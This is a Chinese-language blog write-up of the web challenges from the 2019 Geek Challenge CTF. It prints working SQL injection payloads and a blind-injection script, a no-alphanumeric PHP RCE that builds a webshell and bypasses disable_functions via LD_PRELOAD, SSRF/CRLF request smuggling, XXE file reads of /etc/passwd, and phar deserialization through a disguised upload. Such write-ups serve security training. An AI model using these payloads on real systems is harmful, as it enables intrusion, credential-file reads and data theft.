2019 极客挑战-Web部分题解WriteUp

这个比赛没有报,不过环境开挺久的,赛后借着buu的环境和比赛环境做一下

EasySQL

直接万能密码登陆即可获得flag

1
?username=admin%27or%201%23&password=123

LoveSQL

上一关改进了一下

同样万能密码登陆

flag看样子在数据库中,既然有回显就直接联合查询注入即可,最后的payload:

1
?username=0%27%20union%20select%201,(select%20password%20from%20l0ve1ysq1%20where%20username=%27flag%27),3%23&password=123

BabySQL

打开靶机

再一次进阶,按照有回显,我们可以通过报错信息,判断后台将关键字orbyunionselectfromwhere替换为空,都可以通过双写绕过

最后的payload:

1
?username=0'%20uunionnion%20sselectelect%201,(sselectelect%20group_concat(passwoorrd)%20ffromrom%20b4bsql%20wwherehere%20username='flag'),3%23&password=123

HardSQL

这关直接黑名单过滤了如下关键字:

1
空格%20,/**/,and,||,&&,=,substr,mid

可以通过如下payload进行登陆:

1
?username=admin'^0%23&password=123

但是没有信息回显,只提示登陆成功,但是依然有报错信息,所以可以考虑使用extractvalue进行报错注入

爆表payload:

1
?username=admin'-extractvalue(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)in(database())),0x3a))%23&password=123

过滤了等号=,用in语句来替代,过滤空格,再查询语句注意使用()

最后爆flag的payload:

1
2
?username=admin'-extractvalue(1,concat(0x3a,(select(left(password,30))from(H4rDsq1)),0x3a))%23&password=123
?username=admin'-extractvalue(1,concat(0x3a,(select(right(password,30))from(H4rDsq1)),0x3a))%23&password=123

因为substr被过滤了,所以用rightleft分别向右和向左截取flag的30个字符,最后拼接成flag

FinalSQL

打开靶机:

测试发现登陆把能输入的关键字几乎都过滤了,注入点应该在新加入的search.php?id=1

search.php过滤了如下关键字:

1
空格%20,/**/,and,||,&&,#

虽然过滤了注释符,但是测试发现id是数字型,并且没有被单引号包裹,例如我们输入?id=1^0

返回的是id=1的查询结果

输入?id=1^1

返回则是id=0,即无查询结果

并且测试发现,当出现语法错误时,只会出现信息ERROR!!!,所以,这关只能通过异或^来进行布尔盲注

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://30dae5fa-078d-4ebc-802b-199f26839b07.node3.buuoj.cn/search.php?id="
database = ""#geek
table_name = "F1naI1y,Flaaaaag"
Flaaaaag_column_name = "id,fl4gawsl"
F1naI1y_column_name = "id,username,password"
username = "mygod,welcome,site,site,site,site,Syc,finally,flag"

for i in range(1,100):
for j in range(44,128):
#payload = "1^(ascii(substr((select(group_concat(fl4gawsl))from(Flaaaaag)where(id=6)),"+str(i)+",1))="+str(j)+")"
payload = "1^(ascii(substr((select(password)from(F1naI1y)where(username='flag'))," + str(i) + ",1))=" + str(j) + ")"
#payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y'))," + str(i) + ",1))=" + str(j) + ")"
r = requests.get(url+payload)
if "NO! Not this! Click others~~~" not in r.text:
#print r.text
database = database + chr(j)
print database

RCE me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

无数字字母RCE,长度40的限制,老样子通过不可见字母异或得到_GET,并传入多参数,如下payload执行phpinfo()

1
?code=$_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{_}();&_=phpinfo

disable_functions禁用了如下函数:

主要就是禁用了命令执行函数

要执行读文件函数就要传入参数,那么嵌套传入一个参数:

1
?code=$_=${%a0%b8%ba%ab^%ff%ff%ff%ff};$_{_}($_{%ff});&_=readfile&%ff=/etc/passwd

直接读取/flag文件失败,那么尝试执行var_dump(scandir('/'))

1
?code=$_=${%a0%b8%ba%ab^%ff%ff%ff%ff};$_{%a0}($_{_}($_{%ff}));&%a0=var_dump&_=scandir&%ff=/

发现有个/readflag执行文件,那么/flag文件很显然就是不可读的,需要我们绕过disable_functions执行/readflag

disable_functions没有禁用error_log,那么就直接LD_PRELOAD劫持进程执行命令

那么这里就需要上传so文件到/tmp下,一开始尝试使用file_put_contents('/tmp/hack.so',''),把so文件内容进行url编码后传入get参数,但是会发现get传参超出了长度限制

那如果用POST传参,则会出现不可见字符参数名传不到POST中的情况

所以就简便的方法还是getshell后用菜刀或蚁剑连接上传,那么我们就得想办法通过eval,但是eval在这里我们执行通过不可见字符进行运算构造,由于eval在php中是一个语言结构,所以构造出来的eval是不能作为动态函数执行的,所以我们只能考虑构造assert

payload:

1
?code=$%ff=%9e%8c%8c%9a%8d%8b^%ff%ff%ff%ff%ff%ff;$%ff(${%a0%b8%ba%ab^%ff%ff%ff%ff}{_});&_=phpinfo()

那么,用assert进行getshell,我们只能通过菜刀进行连接,并且传入POST参数

1
?code=$%ff=%9e%8c%8c%9a%8d%8b^%ff%ff%ff%ff%ff%ff;$%ff(${%a0%af%b0%ac%ab^%ff%ff%ff%ff%ff}{_});

然后,我们就可以上传so文件了

最后执行:

1
putenv("LD_PRELOAD=/tmp/hack.so") & error_log('',1)

然后在/tmp下就生成了我们执行/readflag后的结果写入的文件了:

最后读取flag:

服务端检测系统

源码提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<!-- /admin.php -->

<!--
if(isset($_POST['method']) && isset($_POST['url']) ){
$method=$_POST['method'];
$url=$_POST['url'];

if(preg_match('/^http:\/\//i',$url)){
$opts = array(
'http'=>array(
'method'=>$method,
'timeout'=>3
)
);

$context = stream_context_create($opts);
$body = @file_get_contents($url."/anything", false, $context);

if(isset($http_response_header)){
preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);
if(isset($matches[1])){
echo "服务端支持的请求方法有:".$matches[1];
}else{
echo "failed<br>";
echo sprintf("body length of $method%d", $body);
}

}else{
echo "error";
}
}else{
echo 'not allowed';
}

}
-->

代码的大致意思是需要我们进行ssrf访问admin.php,得到admin.php中的内容

可以看到关键代码中用了stream_context_createfile_get_contents来模拟HTTP请求

我们可以通过访问自己的vps来测试一下:

1
url=http://106.15.250.162:8888/admin.php&method=GET

返回的内容部分在变量$body中,我们看看最后的输出部分的代码:

1
echo sprintf("body length of $method%d", $body);

是通过sprintf函数对$body进行%d的替换,但是$body即页面返回的内容是字符串类型,所以正常替换肯定是为0

但是可以注意到%d前面还有一个变量$method,这个变量我们是可控的,所以我们就可以利用sprintf函数格式化字符串的漏洞来输出内容,payload:

1
url=http://127.0.0.1/admin.php&method=%s%

为什么%s后面还要加个%呢,测试一下其实就知道了:

正是由于sprintf函数的特性:%后的字符都会被当作匹配的类型而被吃掉,也就是说%%d就被当作字符%d输出

然后我们就得到了admin.php的源码部分,很显然需要我们POST参数iwantflag=yes来得到最后的flag

所以,我们就需要通过前面提到的stream_context_createfile_get_contents来构造POST请求,还是通过method参数,测试可以发现method参数可以是任意值

那么,就可以考虑利用CRLF漏洞构造任意请求包,payload:

1
2
3
4
5
6
7
url=http://106.15.250.162:8888/admin.php&method=POST /admin.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:13

iwantflag=yes
GET

vps上监听:

把vps地址替换成题目本地的127.0.0.1,传入payload

但是因为sprintf的问题,还是需要我们通过前面的方法得到最后的内容:

1
2
3
4
5
6
url=http://127.0.0.1/admin.php&method=POST /admin.php HTTP/1.1
Host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:22

iwantflag=yes%26a=%s%

你读懂潇文清的网站了吗

题目直接告诉我们是xxe

抓包修改Content-Type:application/x-www-form-urlencoded

有回显,直接payload打:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>

发现存在过滤,测试过滤了:httpdataflagfile

但是php未被过滤,所以用伪协议读源码:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>
<abc>&test;</abc>

读取得到index.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");

if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
echo "no!!!you cant read flag right here!";
exit();
}

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

print($xml);
}

?>

发现存在config.php文件,同样道理读取该文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class File{
public $filetype;
public $filename;
public function __wakeup(){
echo "wake up ";
var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
}

public function check($filetype,$filename){
$filename = $filename;
$filetype = $filetype;

if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
echo "只允许上传jpg格式文件";
exit();
}

}

public function upload($filetemp){
$target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
$handle = fopen($filetemp, "r");
$content = '';
while(!feof($handle)){
$content .= fread($handle, 8080);
}
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
echo "Invalid file!!!!";
exit();
}
fclose($handle);

if (move_uploaded_file($filetemp, $target_file)) {
echo "your file is here:".$target_file;
}
}

}

发现类File的魔术方法__wakeup可以读取flag.php内容,该文件只有一个类,没有实例化的代码

扫目录发现存在一个upload.php

再读一下upload.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
include("config.php");

$filename = $_FILES["file"]["name"];
$filetype = $_FILES["file"]["type"];
$filetemp = $_FILES["file"]["tmp_name"];

$file = new File();
$file->check($filetype,$filename);
$file->upload($filetemp);
?>

可以上传文件,但是没有反序列化函数,那么就考虑通过xxe进行phar反序列化,生成phar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class File{
public $filetype;
public $filename;
}


$f=new File();
echo serialize($f);
$phar = new Phar("xxe.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头用以欺骗检测
$phar->setMetadata($f); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();

?>

上传的过滤主要一处:

1
2
3
4
if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
echo "只允许上传jpg格式文件";
exit();
}

修改Content-Type:image/jpg即可绕过

最后index.php处传入payload:

1
2
3
4
<!DOCTYPE a [
<!ENTITY dtd SYSTEM "phar:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
]>
<a>&dtd;</a>

base64解码获得flag

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/11/20/2019%E6%9E%81%E5%AE%A2%E6%8C%91%E6%88%98Web/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog